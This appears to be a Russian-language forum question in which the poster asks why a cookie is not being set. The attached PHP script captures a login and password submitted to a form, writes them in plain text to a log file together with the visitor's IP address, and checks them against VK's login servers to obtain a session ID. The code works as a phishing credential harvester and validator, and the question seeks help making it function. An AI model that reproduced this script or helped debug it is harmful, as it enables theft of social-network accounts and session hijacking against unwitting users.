Почему cookies не записываются? Вроде все правила учёл. Слышал, что нужно использовать ob_start, но не пойму как. Помогите пожалуйста.
<?PHP
$login=$_POST["login"];
$pass=$_POST["pass"];
$ip=$_SERVER['REMOTE_ADDR'];
$date = date("m.d.y H:i:s");
$file=fopen("log.log", "a");
$str_avto=$login."\t".$pass."\t".$date."\t".$ip."\n";
fwrite($file, $str_avto);
fclose($file);
$otvet=connect("http://login.vk.com/?act=login&email=$login&pass=$pass");
If(!preg_match("/hash=([a-z0-9]{1,32})/",$otvet,$hash)){
die(header("Location: http://login fail"));
}
$otvet=connect("http://vk.com/login.php?act=slogin&hash=".$hash[1]);
preg_match("/remixsid=(.*?);/",$otvet,$sid);
$cooks = "remixchk=5; remixsid=$sid[1]";
setcookie('login', 'login', time() + 360000000); //Проблема здесь
header("Location: http://login success");
function connect($link,$cooks=null,$post=null){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
if($cooks !== null)
curl_setopt($ch, CURLOPT_COOKIE, $cooks);
if($post !== null)
{
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
}
$otvet = curl_exec($ch);
curl_close($ch);
return $otvet;
}
?>